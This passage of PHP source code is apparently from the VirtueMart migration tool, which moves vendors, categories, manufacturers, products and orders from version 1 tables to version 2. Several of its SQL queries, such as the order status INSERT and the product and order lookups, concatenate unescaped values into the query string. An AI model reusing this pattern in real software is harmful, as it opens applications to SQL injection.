		$vendor = $this->_db->loadAssoc() ;
		$currency_code_3 = explode( ',', $vendor['vendor_accepted_currencies'] );//EUR,USD
		$this->_db->setQuery( 'SELECT virtuemart_currency_id FROM `#__virtuemart_currencies` WHERE `currency_code_3` IN ( "'.implode('","',$currency_code_3).'" ) ' );
		$vendor['vendor_accepted_currencies'] = implode(",",$this->_db->loadResultArray());

		$this->_db->setQuery( 'SELECT virtuemart_currency_id FROM `#__virtuemart_currencies` WHERE `currency_code_3` =  "'. $vendor['vendor_currency'].'"  ' );
		$vendor['vendor_currency']= $this->_db->loadResult();

		$vendorModel = VmModel::getModel('vendor');
		$vendorId = $vendorModel->store($vendor);
		vmInfo('vendor '.$vendorId.' Stored');
		return true;
	}

	private function portCategories(){

		$query = 'SHOW TABLES LIKE "%vm_category%"';
		$this->_db->setQuery($query);
		if(!$this->_db->loadResult()){
			vmInfo('No vm_category table found for migration');
			$this->_stop = true;
			return false;
		}

		$catModel = VmModel::getModel('Category');

		$default_category_browse = JRequest::getString('migration_default_category_browse','');
		// 		vmdebug('migration_default_category_browse '.$default_category_browse);

		$default_category_fly = JRequest::getString('migration_default_category_fly','');

		$portFlypages = JRequest::getInt('portFlypages',0);

		if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
			return;
		}
		$ok = true;

		$q = 'SELECT * FROM #__vm_category';
		$this->_db->setQuery($q);
		$oldCategories = $this->_db->loadAssocList();

		$alreadyKnownIds = $this->getMigrationProgress('cats');
		// 		$oldtonewCats = array();

		$category = array();
		$i = 0;
		foreach($oldCategories as $oldcategory){

			if(!array_key_exists($oldcategory['category_id'],$alreadyKnownIds)){

				$category = array();
				//$category['virtuemart_category_id'] = $oldcategory['category_id'];
				$category['virtuemart_vendor_id'] = $oldcategory['vendor_id'];
				$category['category_name'] = stripslashes($oldcategory['category_name']);

				$category['category_description'] = $oldcategory['category_description'];
				$category['published'] = $oldcategory['category_publish'] == 'Y' ? 1 : 0;
// 				$category['created_on'] = $oldcategory['cdate'];
// 				$category['modified_on'] = $oldcategory['mdate'];
				$category['created_on'] = $this->_changeToStamp($oldcategory['cdate']);
				$category['modified_on'] = $this->_changeToStamp($oldcategory['mdate']);

				if($default_category_browse!=$oldcategory['category_browsepage']){
					$browsepage = $oldcategory['category_browsepage'];
					if (strcmp($browsepage, 'managed') ==0 ) {
						$browsepage="browse_".$oldcategory['products_per_row'];
					}
					$category['category_layout'] = $browsepage;
}
					if($portFlypages && $default_category_fly!=$oldcategory['category_flypage']){
					$category['category_product_layout'] = $oldcategory['category_flypage'];
				}

				//idea was to do it by the layout, but we store this information additionally for enhanced pagination
				$category['products_per_row'] = $oldcategory['products_per_row'];
				$category['ordering'] = $oldcategory['list_order'];

				if(!empty($oldcategory['category_full_image'])){
					$category['virtuemart_media_id'] = $this->_getMediaIdByName($oldcategory['category_full_image'],'category');
				}

				$catModel->setId(0);
				$category_id = $catModel->store($category);
				$errors = $catModel->getErrors();
				if(!empty($errors)){
					foreach($errors as $error){
						vmError('Migrator portCategories '.$error);
						$ok = false;
					}
					break;
				}

				$alreadyKnownIds[$oldcategory['category_id']] = $category_id;
				unset($category['virtuemart_category_id']);
				$i++;
			}

			if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
				break;
			}

		}

		// here all categories NEW/OLD are Know
		$this->storeMigrationProgress('cats',$alreadyKnownIds);
		if($ok)
		$msg = 'Looks everything worked correct, migrated ' . $i . ' categories ';
		else {
			$msg = 'Seems there was an error porting ' . $i . ' categories ';
			foreach($this->getErrors() as $error){
				$msg .= '<br />' . $error;
			}
		}
		$this->_app->enqueueMessage($msg);


		$q = 'SELECT * FROM #__vm_category_xref ';
		$this->_db->setQuery($q);
		$oldCategoriesX = $this->_db->loadAssocList();

		// $alreadyKnownIds = $this->getMigrationProgress('catsxref');

		$new_id = 0;
		$i = 0;
		$j = 0;
		$ok = true ;
		if(!empty($oldCategoriesX)){
			// 			vmdebug('$oldCategoriesX',$oldCategoriesX);
			foreach($oldCategoriesX as $oldcategoryX){
				$category = array();
				if(!empty($oldcategoryX['category_parent_id'])){
					if(array_key_exists($oldcategoryX['category_parent_id'],$alreadyKnownIds)){
						$category['category_parent_id'] = $alreadyKnownIds[$oldcategoryX['category_parent_id']];
					} else {
						vmError('Port Categories Xref unknow : ID '.$oldcategoryX['category_parent_id']);
						$ok = false ;
						$j++;
						continue ;
					}
				}

				if(array_key_exists($oldcategoryX['category_child_id'],$alreadyKnownIds)){
					$category['category_child_id'] = $alreadyKnownIds[$oldcategoryX['category_child_id']];
				} else {
					vmError('Port Categories Xref unknow : ID '.$oldcategoryX['category_child_id']);
					$ok = false ;
					$j++;
					continue ;
				}
				if ($ok == true) {
					$table = $this->getTable('category_categories');

					$table->bindChecknStore($category);
					$errors = $table->getErrors();
					if(!empty($errors)){
						foreach($errors as $error){
							vmError('Migrator portCategories ref '.$error);
							$ok = false;
						}
						break;
					}


					$i++;
				}

				if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
					break;
				}
			}

			//$this->storeMigrationProgress('catsxref',$oldtonewCatsXref);
			if($ok)
			$msg = 'Looks everything worked correct, migrated ' . $i . ' categories xref ';
			else {
				$msg = 'Seems there was an error porting ' . $j . ' of '. $i.' categories xref ';
				foreach($this->getErrors() as $error){
					$msg .= '<br />' . $error;
				}
			}
			$this->_app->enqueueMessage($msg);

			return $ok;
		} else {
			$this->_app->enqueueMessage('No categories to import');
			return $ok;
		}
	}

	private function portManufacturerCategories(){

		if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
			return;
		}
		$ok = true;

		$q = 'SELECT * FROM #__vm_manufacturer_category';
		$this->_db->setQuery($q);
		$oldMfCategories = $this->_db->loadAssocList();

		if(!class_exists('TableManufacturercategories')) require(JPATH_VM_ADMINISTRATOR . DS . 'tables' . DS . 'manufacturercategories.php');

		$alreadyKnownIds = $this->getMigrationProgress('mfcats');
		// 		$oldtonewMfCats = array();

		$mfcategory = array();
		$i=0;
		foreach($oldMfCategories as $oldmfcategory){

			if(!array_key_exists($oldmfcategory['mf_category_id'],$alreadyKnownIds)){

				$mfcategory = null;
				$mfcategory = array();
				$mfcategory['mf_category_name'] = $oldmfcategory['mf_category_name'];
				$mfcategory['mf_category_desc'] = $oldmfcategory['mf_category_desc'];
				$mfcategory['published'] = 1;
				$table = $this->getTable('manufacturercategories');

				$table->bindChecknStore($mfcategory);
				$errors = $table->getErrors();
				if(!empty($errors)){
					foreach($errors as $error){
						vmError('Migrator portManufacturerCategories '.$error);
						$ok = false;
					}
					break;
				}

				$alreadyKnownIds[$oldmfcategory['mf_category_id']] = $mfcategory['virtuemart_manufacturercategories_id'];
				$i++;
			}

			unset($mfcategory['virtuemart_manufacturercategories_id']);

			if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
				break;
			}
		}
		$this->storeMigrationProgress('mfcats',$alreadyKnownIds);

		if($ok)
		$msg = 'Looks everything worked correct, migrated ' .$i . ' manufacturer categories ';
		else {
			$msg = 'Seems there was an error porting ' . $i . ' manufacturer categories ';
			$msg .= $this->getErrors();
		}

		$this->_app->enqueueMessage($msg);

		return $ok;
	}

	private function portManufacturers(){

		if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
			return;
		}
		$ok = true;

		$q = 'SELECT * FROM #__vm_manufacturer ';
		$this->_db->setQuery($q);
		$oldManus = $this->_db->loadAssocList();

		// 		vmdebug('my old manus',$oldManus);
		// 		$oldtonewManus = array();
		$oldtoNewMfcats = $this->getMigrationProgress('mfcats');
		$alreadyKnownIds = $this->getMigrationProgress('manus');

		$i =0 ;
		foreach($oldManus as $oldmanu){
			if(!array_key_exists($oldmanu['manufacturer_id'],$alreadyKnownIds)){
				$manu = null;
				$manu = array();
				$manu['mf_name'] = $oldmanu['mf_name'];
				$manu['mf_email'] = $oldmanu['mf_email'];
				$manu['mf_desc'] = $oldmanu['mf_desc'];
				$manu['virtuemart_manufacturercategories_id'] = $oldtoNewMfcats[$oldmanu['mf_category_id']];
				$manu['mf_url'] = $oldmanu['mf_url'];
				$manu['published'] = 1;

				if(!class_exists('TableManufacturers'))
				require(JPATH_VM_ADMINISTRATOR . DS . 'tables' . DS . 'manufacturers.php');
				$table = $this->getTable('manufacturers');

				$table->bindChecknStore($manu);
				$errors = $table->getErrors();
				if(!empty($errors)){
					foreach($errors as $error){

						vmError('Migrator portManufacturers '.$error);
						$ok = false;
					}
					break;
				}
				$alreadyKnownIds[$oldmanu['manufacturer_id']] = $manu['virtuemart_manufacturer_id'];
				//unset($manu['virtuemart_manufacturer_id']);
				$i++;
			}
			// 			else {
			// 				$oldtonewManus[$oldmanu['manufacturer_id']] = $alreadyKnownIds[$oldmanu['manufacturer_id']];
			// 			}

			if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
				break;
			}
		}

		$this->storeMigrationProgress('manus',$alreadyKnownIds);

		if($ok)
		$msg = 'Looks everything worked correct, migrated ' .$i . ' manufacturers ';
		else {
			$msg = 'Seems there was an error porting ' . $i . ' manufacturers ';
			$msg .= $this->getErrors();
		}
		$this->_app->enqueueMessage($msg);

        return $ok;
	}

	private function portProducts(){

		if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
			return false;
		}

		$ok = true;
		$mediaIdFilename = array();

		//approximatly 100 products take a 1 MB
		$maxItems = $this->_getMaxItems('Products');
// 		$maxItems = 100;
		$startLimit = $this->_getStartLimit('products_start');;
		$j=0;


		$alreadyKnownIds = $this->getMigrationProgress('products');
		$oldToNewCats = $this->getMigrationProgress('cats');
		// 		$user = JFactory::getUser();

		//$oldtonewProducts = array();
		$oldtonewManus = $this->getMigrationProgress('manus');

		$userSgrpPrices = JRequest::getInt('userSgrpPrices',0);
		if($userSgrpPrices){
			$oldToNewShoppergroups = $this->getMigrationProgress('shoppergroups');
		}

		$productModel = VmModel::getModel('product');

		if(count($alreadyKnownIds)==($startLimit+$maxItems) ){
			$continue = false;
		} else {
			$continue = true;
		}

		while($continue){

			$q = 'SELECT *,`p`.product_id as product_id FROM `#__vm_product` AS `p`
			LEFT JOIN `#__vm_product_mf_xref` ON `#__vm_product_mf_xref`.`product_id` = `p`.`product_id`
			WHERE (`p`.product_id) IS NOT NULL
			GROUP BY `p`.product_id ORDER BY `p`.product_parent_id LIMIT '.$startLimit.','.$maxItems;

			$doneStart = $startLimit;
			$res = self::loadCountListContinue($q,$startLimit,$maxItems,'port Products');
			$oldProducts = $res[0];

			$startLimit = $res[1];
			$continue = $res[2];

 			//vmdebug('in product migrate $oldProducts ',$oldProducts);
			/* Not in VM1
			slug low_stock_notification intnotes metadesc metakey metarobot metaauthor layout published

			created_on created_by modified_on modified_by
			product_override_price override link

			Not in VM2
			product_thumb_image product_full_image attribute
			custom_attribute child_options quantity_options child_option_ids
			shopper_group_id    product_list
			*/

			//There are so many names the same, so we use the loaded array and manipulate it
// 					$oldProducts = array();
			foreach($oldProducts as $product){

				if(!empty($product['product_id']) and !array_key_exists($product['product_id'],$alreadyKnownIds)){

					$product['virtuemart_vendor_id'] = $product['vendor_id'];

					if(!empty($product['manufacturer_id'])){
						if(!empty($oldtonewManus[$product['manufacturer_id']])) {
							$product['virtuemart_manufacturer_id'] = $oldtonewManus[$product['manufacturer_id']];
						}
					}

					$q = 'SELECT `category_id` FROM #__vm_product_category_xref WHERE #__vm_product_category_xref.product_id = "'.$product['product_id'].'" ';
					$this->_db->setQuery($q);
					$productCats = $this->_db->loadResultArray();

					$productcategories = array();
					if(!empty($productCats)){
						foreach($productCats as $cat){
							//product has category_id and categories?
							if(!empty($oldToNewCats[$cat])){
								// 								$product['virtuemart_category_id'] = $oldToNewCats[$cat];
								//This should be an array, or is it not in vm1? not cleared, may need extra foreach
								$productcategories[] = $oldToNewCats[$cat];
							} else {
								vmInfo('Coulndt find category for product, maybe just not in a category');
							}
						}
					}
					// if(!empty($alreadyKnownIds[$product['product_id']])){
					// $product_parent_id = $alreadyKnownIds[$product['product_id']];
					// }
					// Converting Attributes from parent product to customfields Cart variant
					// $q = 'SELECT * FROM `#__vm_product_attribute` WHERE `#__vm_product_attribute`.`product_id` ="'.$product['product_id'].'" ';
					// $this->_db->setQuery($q);
					// if(!empty($productAttributes = $this->_db->loadAssocList()) {

					// foreach($productAttributes as $attrib){
					// //custom select or create it
					// $q = 'SELECT `virtuemart_custom_id` FROM `#__virtuemart_customs` as c WHERE c.field_type ="V" and c.`custom_title` ="'.$attrib['attribute_name'].'" ';
					// $this->_db->setQuery($q);
					// if (!$virtuemart_custom_id = $this->_db->loadResult()) {
					// $customModel = VmModel::getModel('Custom');
					// $attrib['custom_title'] = $attrib['attribute_name'];
					// $attrib['custom_value'] = $attrib['attribute_value'];
					// $attrib['is_cart_attribute'] = '1';

					// $customModel->store($attrib);
					// }
					// }
					// }

					// Attributes End
					$product['categories'] = $productcategories;

					$product['published'] = $product['product_publish'] == 'Y' ? 1 : 0;

					$q = 'SELECT * FROM `#__vm_product_price` WHERE `product_id` = "'.$product['product_id'].'" ';
					$this->_db->setQuery($q);
					$entries = $this->_db->loadAssocList();
					if($entries){
						foreach($entries as $i=>$price){
							$product['mprices']['product_price_id'][$i] = 0;
							$product['mprices']['product_id'][$i] = $price['product_id'];
							$product['mprices']['product_price'][$i] = $price['product_price'];
							if($userSgrpPrices){
								$product['mprices']['virtuemart_shoppergroup_id'][$i] = $oldToNewShoppergroups[$price['shopper_group_id']];
							}
							$product['mprices']['product_currency'][$i] = $this->_ensureUsingCurrencyId($price['product_currency']);
							$product['mprices']['price_quantity_start'][$i] = $price['price_quantity_start'];
							$product['mprices']['price_quantity_end'][$i] = $price['price_quantity_end'];
							$product['mprices']['product_price_publish_up'][$i] = $price['product_price_vdate'];
							$product['mprices']['product_price_publish_down'][$i] = $price['product_price_edate'];
							$product['mprices']['created_on'][$i] = $this->_changeToStamp($price['cdate']);
							$product['mprices']['modified_on'][$i] = $this->_changeToStamp($price['mdate']);
						}
					}
				//	$product['price_quantity_start'] = $product['price_quantity_start'];
				//	$product['price_quantity_end'] = $product['price_quantity_end'];
		        //    $product['product_price_publish_up'] = $product['product_price_vdate'];
				//	$product['product_price_publish_down'] = $product['product_price_edate'];
					$product['created_on'] = $this->_changeToStamp($product['cdate']);
					$product['modified_on'] = $this->_changeToStamp($product['mdate']); //we could remove this to set modified_on today
					$product['product_available_date'] = $this->_changeToStamp($product['product_available_date']);

					if(!empty($product['product_weight_uom'])){
						$product['product_weight_uom'] = $this->parseWeightUom($product['product_weight_uom']);
					}

					if(!empty($product['product_lwh_uom'])){
						$product['product_lwh_uom'] = $this->parseDimensionUom($product['product_lwh_uom']);
					}
					//$product['created_by'] = $user->id;
					//$product['modified_by'] = $user->id;



					if(!empty($product['product_s_desc'])){
						$product['product_s_desc'] = stripslashes($product['product_s_desc']);
					}

					if(empty($product['product_name'] )){
						$product['product_name'] =  $product['product_sku'].':'.$product['product_id'].':'.$product['product_s_desc'];
					}

					// Here we  look for the url product_full_image and check which media has the same
					// full_image url
					if(!empty($product['product_full_image'])){
						$product['virtuemart_media_id'] = $this->_getMediaIdByName($product['product_full_image'],'product');
					}

					if(!empty($alreadyKnownIds[$product['product_parent_id']])){
						$product['product_parent_id'] = $alreadyKnownIds[$product['product_parent_id']];
						// 						vmInfo('new parent id : '. $product['product_parent_id']);
					} else {
						$product['product_parent_id'] = 0;
					}

					if($this->_keepOldProductIds){
						$product['virtuemart_product_id'] = $product['product_id'];
					}

					$product['virtuemart_product_id'] = $productModel->store($product);

					if(!empty($product['product_id']) and !empty($product['virtuemart_product_id'])){
						$alreadyKnownIds[$product['product_id']] = $product['virtuemart_product_id'];
					} else {
						vmdebug('$product["virtuemart_product_id"] or $product["product_id"] is EMPTY?',$product);
					}

					$errors = $productModel->getErrors();
					if(!empty($errors)){
						foreach($errors as $error){
							vmError('Migration: '.$i.' ' . $error);
						}
						vmdebug('Product add error',$product);
						$productModel->resetErrors();
						$continue = false;
						break;
					}
					$j++;
				}

				if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
					vmdebug('Product import breaked, you may rise the execution time, this is not an error, just a hint');
					$continue = false;
					break;
				}

			}
			$limitStartToStore = ', products_start = "'.($doneStart+$j).'" ';
			$this->storeMigrationProgress('products',$alreadyKnownIds,$limitStartToStore);
			vmInfo('Migration: '.$i.' products processed ');
		}



		return $ok;
	}

	/**
	 * Finds the media id in the vm2 table for a given filename
	 *
	 * @author Max Milbers
	 * @author Valerie Isaksen
	 *
	 */
	var $mediaIdFilename = array();

	function _getMediaIdByName($filename,$type){
		if(!empty($this->mediaIdFilename[$type][$filename])){

			return $this->mediaIdFilename[$type][$filename];
		} else {
			$q = 'SELECT `virtuemart_media_id` FROM `#__virtuemart_medias`
										WHERE `file_title`="' .  $this->_db->getEscaped($filename) . '"
										AND `file_type`="' . $this->_db->getEscaped($type) . '"';
			$this->_db->setQuery($q);
			$virtuemart_media_id = $this->_db->loadResult();
			if($this->_db->getErrors()){
				vmError('Error in _getMediaIdByName',$this->_db->getErrorMsg());
			}
			if(!empty($virtuemart_media_id)){
				$this->mediaIdFilename[$type][$filename] = $virtuemart_media_id;
				return $virtuemart_media_id;
			} else {

				// 				vmdebug('No media found for '.$type.' '.$filename);
			}
		}
	}

	function portOrders(){

		if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
			return;
		}

		if(!class_exists('VirtueMartModelOrderstatus'))
		require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orderstatus.php');

		if (!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php');
		$this->_db->setQuery('select `order_status_code` FROM `#__virtuemart_orderstates` `');
		$vm2Fields = $this->_db->loadResultArray ();
		$this->_db->setQuery('select * FROM `#__vm_order_status`');
		$oldfields = $this->_db->loadObjectList();
		$migratedfields ='';
		foreach ($oldfields as $field ) {
			if ( !in_array( $field->order_status_code, $vm2Fields ) ) {
				$q = 'INSERT INTO `#__virtuemart_orderstates` ( `virtuemart_vendor_id`, `order_status_code`, `order_status_name`, `order_status_description`, `order_stock_handle`, `ordering`, `published`)
					VALUES ( "'.$field->vendor_id.'","'.$field->order_status_code .'","'.$field->order_status_name .'","'.$field->order_status_description .'","A","'.$field->list_order .'", 1 )';
				$this->_db->setQuery($q);
				$this->_db->query();
				if ($this->_db->getErrorNum()) {
					vmError ($this->_db->getErrorMsg() );
				}
				$migratedfields .= '['.$field->order_status_code.'-'.$field->order_status_name.'] ';

			}
		}
		if ($migratedfields) vminfo('order states declaration '.$migratedfields.' Migrated');
		$oldtonewOrders = array();

		//Looks like there is a problem, when the data gets tooo big,
		//solved now with query directly ignoring already ported orders.
		$alreadyKnownIds = $this->getMigrationProgress('orders');
		$newproductIds = $this->getMigrationProgress('products');
		$orderCodeToId = $this->createOrderStatusAssoc();

		//approximatly 100 products take a 1 MB
		$maxItems = $this->_getMaxItems('Orders');


		$startLimit = $this->_getStartLimit('orders_start');
		vmdebug('portOrders $startLimit '.$startLimit);
		$i = 0;
		if(count($alreadyKnownIds)==($startLimit+$maxItems) ){
			$continue = false;
		} else {
			$continue = true;
		}

		$reWriteOrderNumber = JRequest::getInt('reWriteOrderNumber',0);
		$userOrderId = JRequest::getInt('userOrderId',0);

		while($continue){

			$q = 'SELECT `o`.*, `op`.*, `o`.`order_number` as `vm1_order_number`, `o2`.`order_number` as `nr2`,`o`.order_id FROM `#__vm_orders` as `o`
				LEFT OUTER JOIN `#__vm_order_payment` as `op` ON `op`.`order_id` = `o`.`order_id`
				LEFT JOIN `#__virtuemart_orders` as `o2` ON `o2`.`order_number` = `o`.`order_number`
				WHERE (o2.order_number) IS NULL ORDER BY o.order_id LIMIT '.$startLimit.','.$maxItems;

			$doneStart = $startLimit;
			$res = self::loadCountListContinue($q,$startLimit,$maxItems,'port Orders');
			$oldOrders = $res[0];
			$startLimit = $res[1];
			$continue = $res[2];

			foreach($oldOrders as $order){

				if(!array_key_exists($order['order_id'],$alreadyKnownIds)){
					$orderData = new stdClass();

					$orderData->virtuemart_order_id = null;
					$orderData->virtuemart_user_id = $order['user_id'];
					$orderData->virtuemart_vendor_id = $order['vendor_id'];

					if($reWriteOrderNumber==0){
						if($userOrderId==1){
							$orderData->order_number = $order['order_id'];
						} else {
							$orderData->order_number = $order['vm1_order_number'];
						}
					}

					$orderData->order_pass = 'p' . substr(md5((string)time() . $order['order_number']), 0, 5);
					//Note as long we do not have an extra table only storing addresses, the virtuemart_userinfo_id is not needed.
					//The virtuemart_userinfo_id is just the id of a stored address and is only necessary in the user maintance view or for choosing addresses.
					//the saved order should be an snapshot with plain data written in it.
					//		$orderData->virtuemart_userinfo_id = 'TODO'; // $_cart['BT']['virtuemart_userinfo_id']; // TODO; Add it in the cart... but where is this used? Obsolete?
					$orderData->order_total = $order['order_total'];
					$orderData->order_subtotal = $order['order_subtotal'];
					$orderData->order_tax = empty($order['order_tax'])? 0:$order['order_tax'];
					$orderData->order_shipment = empty($order['order_shipping'])? 0:$order['order_shipping'];
					$orderData->order_shipment_tax = empty($order['order_shipping_tax'])? 0:$order['order_shipping_tax'];
					if(!empty($order['coupon_code'])){
						$orderData->coupon_code = $order['coupon_code'];
						$orderData->coupon_discount = $order['coupon_discount'];
					}
					$orderData->order_discount = $order['order_discount'];

					$orderData->order_status = $order['order_status'];

					if(isset($order['order_currency'])){
						$orderData->user_currency_id = $this->getCurrencyIdByCode($order['order_currency']);
						//$orderData->user_currency_rate = $order['order_status'];
					}
					$orderData->virtuemart_paymentmethod_id = $order['payment_method_id'];
					$orderData->virtuemart_shipmentmethod_id = $order['ship_method_id'];
					//$orderData->order_status_id = $oldToNewOrderstates[$order['order_status']]


					$_filter = JFilterInput::getInstance(array('br', 'i', 'em', 'b', 'strong'), array(), 0, 0, 1);
					$orderData->customer_note = $_filter->clean($order['customer_note']);
					$orderData->ip_address = $order['ip_address'];

					$orderData->created_on = $this->_changeToStamp($order['cdate']);
					$orderData->modified_on = $this->_changeToStamp($order['mdate']); //we could remove this to set modified_on today

					$orderTable = $this->getTable('orders');
					$orderTable->bindChecknStore($orderData);
					$errors = $orderTable->getErrors();
					if(!empty($errors)){
						foreach($errors as $error){
							$this->_app->enqueueMessage('Migration orders: ' . $error);
						}
						$continue = false;
						break;
					}
					$i++;
					$newId = $alreadyKnownIds[$order['order_id']] = $orderTable->virtuemart_order_id;

					$q = 'SELECT * FROM `#__vm_order_item` WHERE `order_id` = "'.$order['order_id'].'" ';
					$this->_db->setQuery($q);
					$oldItems = $this->_db->loadAssocList();
					//$this->_app->enqueueMessage('Migration orderhistories: ' . $newId);
					foreach($oldItems as $item){
						$item['virtuemart_order_id'] = $newId;
						if(!empty($newproductIds[$item['product_id']])){
							$item['virtuemart_product_id'] = $newproductIds[$item['product_id']];
						} else {
							vmWarn('Attention, order is pointing to deleted product (not found in the array of old products)');
						}

						//$item['order_status'] = $orderCodeToId[$item['order_status']];
						$item['created_on'] = $this->_changeToStamp($item['cdate']);
						$item['modified_on'] = $this->_changeToStamp($item['mdate']); //we could remove this to set modified_on today
						$item['product_attribute'] = $this->_attributesToJson($item['product_attribute']); //we could remove this to set modified_on today

						$item['product_discountedPriceWithoutTax'] = $item['product_final_price']   -  $item['product_tax'];
						$item['product_subtotal_with_tax'] = $item['product_final_price']   *  $item['product_quantity'];
						$orderItemsTable = $this->getTable('order_items');
						$orderItemsTable->bindChecknStore($item);
						$errors = $orderItemsTable->getErrors();
						if(!empty($errors)){
							foreach($errors as $error){
								$this->_app->enqueueMessage('Migration orderitems: ' . $error);
							}
							$continue = false;
							break;
						}
					}

					$q = 'SELECT * FROM `#__vm_order_history` WHERE `order_id` = "'.$order['order_id'].'" ';
					$this->_db->setQuery($q);
					$oldItems = $this->_db->loadAssocList();

					foreach($oldItems as $item){
						$item['virtuemart_order_id'] = $newId;
						//$item['order_status_code'] = $orderCodeToId[$item['order_status_code']];


						$orderHistoriesTable = $this->getTable('order_histories');
						$orderHistoriesTable->bindChecknStore($item);
						$errors = $orderHistoriesTable->getErrors();
						if(!empty($errors)){
							foreach($errors as $error){
								$this->_app->enqueueMessage('Migration orderhistories: ' . $error);
							}
							$continue = false;
							break;
						}
					}

					$q = 'SELECT * FROM `#__vm_order_user_info` WHERE `order_id` = "'.$order['order_id'].'" ';
					$this->_db->setQuery($q);
					$oldItems = $this->_db->loadAssocList();
					if($oldItems){
						foreach($oldItems as $item){
							$item['virtuemart_order_id'] = $newId;
							$item['virtuemart_user_id'] = $item['user_id'];
							$item['virtuemart_country_id'] = $this->getCountryIDByName($item['country']);
							$item['virtuemart_state_id'] = $this->getStateIDByName($item['state']);

							$item['email'] = $item['user_email'];
							$orderUserinfoTable = $this->getTable('order_userinfos');
							$orderUserinfoTable->bindChecknStore($item);
							$errors = $orderUserinfoTable->getErrors();
							if(!empty($errors)){
								foreach($errors as $error){
									$this->_app->enqueueMessage('Migration orderuserinfo: ' . $error);
								}
								$continue = false;
								break;
							}
						}
					}
					//$this->_app->enqueueMessage('Migration: '.$i.' order processed new id '.$newId);
				}
// 				$this->storeMigrationProgress('orders',$alreadyKnownIds);
				// 				 else {
				// 					$oldtonewOrders[$order['order_id']] = $alreadyKnownIds[$order['order_id']];
				// 				}

				if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
					$continue = false;

					break;
				}
			}
		}

		$limitStartToStore = ', orders_start = "'.($doneStart+$i).'" ';
		$this->storeMigrationProgress('orders',$alreadyKnownIds,$limitStartToStore);
		vmInfo('Migration: '.$i.' orders processed '.($doneStart+$i).' done.');
        return true;;
	}

	function portOrderStatus(){

		$q = 'SELECT * FROM `#__vm_order_status` ';

		$this->_db->setQuery($q);
		$oldOrderStatus = $this->_db->loadAssocList();

		$orderstatusModel = VmModel::getModel('Orderstatus');
		$oldtonewOrderstates = array();
		$alreadyKnownIds = $this->getMigrationProgress('orderstates');
		$i = 0;
		foreach($oldOrderStatus as $status){
			if(!array_key_exists($status['order_status_id'],$alreadyKnownIds)){
				$status['virtuemart_orderstate_id'] = 0;
				$status['virtuemart_vendor_id'] = $status['vendor_id'];
				$status['ordering'] = $status['list_order'];
				$status['published'] = 1;

				$newId = $orderstatusModel->store($status);
				$errors = $orderstatusModel->getErrors();
				if(!empty($errors)){
					foreach($errors as $error){
						$this->_app->enqueueMessage('Migration: ' . $error);
					}
					$orderstatusModel->resetErrors();
					//break;
				}
				$oldtonewOrderstates[$status['order_status_id']] = $newId;
				$i++;
			} else {
				//$oldtonewOrderstates[$status['order_status_id']] = $alreadyKnownIds[$status['order_status_id']];
			}

			if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
				break;
			}
		}

		$oldtonewOrderstates = array_merge($oldtonewOrderstates,$alreadyKnownIds);
		$oldtonewOrderstates = array_unique($oldtonewOrderstates);

		vmInfo('Migration: '.$i.' orderstates processed ');
		return;
	}

	private function _changeToStamp($dateIn){

		$date = JFactory::getDate($dateIn);
		return $date->toMySQL();
	}

	private function _ensureUsingCurrencyId($curr){

		$currInt = '';
		if(!empty($curr)){
			$this->_db = JFactory::getDBO();
			$q = 'SELECT `virtuemart_currency_id` FROM `#__virtuemart_currencies` WHERE `currency_code_3`="' . $this->_db->getEscaped($curr) . '"';
			$this->_db->setQuery($q);
			$currInt = $this->_db->loadResult();
			if(empty($currInt)){
				JError::raiseWarning(E_WARNING, 'Attention, couldnt find currency id in the table for id = ' . $curr);
			}
		}

		return $currInt;
	}

	private function _getMaxItems($name){

		$maxItems = 50;
		$freeRam =  ($this->maxMemoryLimit - memory_get_usage(true))/(1024 * 1024) ;
		$maxItems = (int)$freeRam * 70;
		if($maxItems<=0){
			$maxItems = 50;
			vmWarn('Your system is low on RAM! Limit set: '.$this->maxMemoryLimit.' used '.memory_get_usage(true)/(1024 * 1024).' MB and php.ini '.ini_get('memory_limit'));
		} else if($maxItems>1000){
			$maxItems = 1000;
		}
		vmdebug('Migrating '.$name.', free ram left '.$freeRam.' so limit chunk to '.$maxItems);
		return $maxItems;
	}

	/**
	 *
	 * Enter description here ...
	 */
	private function _getStartLimit($name){

		$this->_db = JFactory::getDBO();

		$q = 'SELECT `'.$name.'` FROM `#__virtuemart_migration_oldtonew_ids` WHERE id="1" ';

		$this->_db->setQuery($q);

		$limit = $this->_db->loadResult();
		vmdebug('Migrator _getStartLimit '.$name,$limit);
		if(!empty($limit)) return $limit; else return 0;
	}

	/**
	 * Gets the virtuemart_country_id by a country 2 or 3 code
	 *
	 * @author Max Milbers
	 * @param string $name Country 3 or Country 2 code (example US for United States)
	 * return int virtuemart_country_id
	 */
	private $_countries = array();
	private $_states = array();

	private function getCountryIdByName($name){

		if(empty($this->_countries[$name])){
			$this->_countries[$name] = Shopfunctions::getCountryIDByName($name);
		}

		return $this->_countries[$name];
	}

	private function getStateIdByName($name){

		if(empty($this->_states[$name])){
			$this->_states[$name] = Shopfunctions::getStateIDByName($name);
		}

		return $this->_states[$name];
	}

	private function getCurrencyIdByCode($name){
		if(empty($name)){
			return 0;
		}

		if(strlen($name) == 2){
			$code = 'currency_code_2';
		}else {
			$code = 'currency_code_3';
		}

		$q = 'SELECT `virtuemart_currency_id` FROM `#__virtuemart_currencies`
					WHERE `' . $code . '` = "' . $this->_db->getEscaped($name) . '" ';
		$this->_db->setQuery($q);

		return $this->_db->loadResult();
	}

	/**
	 *
	 *
	 * @author Max Milbers
	 */
	private function createOrderStatusAssoc(){

		$q = 'SELECT * FROM `#__virtuemart_orderstates` ';
		$this->_db->setQuery($q);
		$orderstats = $this->_db->loadAssocList();
		$xref = array();
		foreach($orderstats as $status){

			$xref[$status['order_status_code']] = $status['virtuemart_orderstate_id'];
		}

		return $xref;
	}

	/**
	 * parse the entered string to a standard unit
